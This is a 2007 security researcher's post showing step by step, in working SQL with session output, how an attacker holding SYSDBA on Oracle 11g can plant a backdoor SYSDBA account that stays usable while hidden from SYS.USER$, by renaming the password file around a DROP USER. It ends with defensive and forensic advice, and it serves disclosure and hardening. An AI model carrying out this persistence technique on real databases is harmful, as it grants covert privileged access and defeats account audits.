Paul Wright December 24th, 2007 ~ 23:35 pm
First half of SYSDBA BACKDOOR paper is easily done without OS access
————————————————————————–
Attacker brute forces a SYSDBA user and wishes to create a user that is hidden from SYS.USER$.
1. CREATE USER
2. GRANT SYSDBA TO USER
3. Rename password file via UTL_FILE.RENAME (requires CREATE DIRECTORY).
4. DROP USER via the DB to lose from SYS.USER$
5. Rename password file back
In detail on 11g Unbreakable Linux:
————————————
First how to get the location and filename of the OS based password file.
By default it is in the same directory as the SPFILE which can be gained as follows.
//get the location
SQL> SELECT value FROM v$parameter WHERE NAME=’spfile’;
VALUE
——————————————————————————–
/home/oracle/app/oracle/product/11.1.0/db_1/dbs/spfileorcl.ora
//get the name of the password file
by default the filename is
PWD.ora (on windows) or
orapw on UNIX.
SQL> select global_name from global_name;
GLOBAL_NAME
——————————————————————————–
ORCL
Therefore attacker can find out the information below:
/home/oracle/app/oracle/product/11.1.0/db_1/dbs/orapworcl
So here we go in SQL*PLUS for demo purposes.
//create the backdoor SYSDBA user.
SQL> create user attacker identified by attacker
2 default tablespace users
3 temporary tablespace temp;
User created.
SQL> GRANT SYSDBA TO attacker;
Grant succeeded.
//remote machine
C:\Documents and Settings\PaulWright>sqlplus attacker/attacker@10.1.1.225/orcl as sysdba
SQL*Plus: Release 10.1.0.4.2 - Production on Fri Dec 21 23:07:08 2007
Copyright (c) 1982, 2005, Oracle. All rights reserved.
Connected to:
Oracle Database 11g Enterprise Edition Release 11.1.0.6.0 - Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options
SQL> show user
USER is “SYS” //backdoor attacker account is working
SQL>
//the account is listed in sys.user$
SQL> SELECT NAME FROM SYS.USER$ ORDER BY NAME;
NAME
——————————
ANONYMOUS
APEX_PUBLIC_USER
AQ_ADMINISTRATOR_ROLE
AQ_USER_ROLE
ATTACKER
AUTHENTICATEDUSER
BI
//attacker gets rid of the sys.user$ entry by first creating a directory to access the password file.
SQL> create directory password_file as ‘/home/oracle/app/oracle/product/11.1.0/db_1/dbs’;
Directory created.
//attacker renames the password file so that the subsequent drop user does not affect the password file
BEGIN
UTL_FILE.FRENAME(’PASSWORD_FILE’, ‘orapworcl’, ‘PASSWORD_FILE’, ‘orapworclBU’, TRUE);
END;
/
//then drops the user
SQL> drop user attacker;
User dropped.
–try to logon as sysdba now fails
C:\Documents and Settings\PaulWright>sqlplus attacker/attacker@10.1.1.225/orcl as sysdba
SQL*Plus: Release 10.1.0.4.2 - Production on Fri Dec 21 23:13:39 2007
Copyright (c) 1982, 2005, Oracle. All rights reserved.
ERROR:
ORA-01031: insufficient privileges
Enter user-name:
–copy back the password file by renaming it to the original name with the overwrite option set to TRUE.
SQL> BEGIN
2 UTL_FILE.FRENAME(’PASSWORD_FILE’, ‘orapworclBU’, ‘PASSWORD_FILE’, ‘orapworcl’, TRUE);
3 END;
4 /
PL/SQL procedure successfully completed.
–attacker no longer in sys.user$ or dba_users but can logon remotely as SYSDBA.
SQL> select name from sys.user$ order by name;
NAME
——————————
ANONYMOUS
APEX_PUBLIC_USER
AQ_ADMINISTRATOR_ROLE
AQ_USER_ROLE
AUTHENTICATEDUSER
BI
BILL
To secure against this first make sure that no one can brute force as SYSDBA(see previous OraBrute paper).
Then regularly check x$ tables and statecheck pwfile as well as oracle binary.
In addition it is generally good security to remove means of accessing OS from DB both via UTL_FILE/Java and restrict the CREATE DIRECTORY privilege.
In terms of forensic investigation the last modified timestamp on the file does not change when it is renamed but the last accessed does (NTFS) but that is for another posting…more to come….and Merry Christmas!
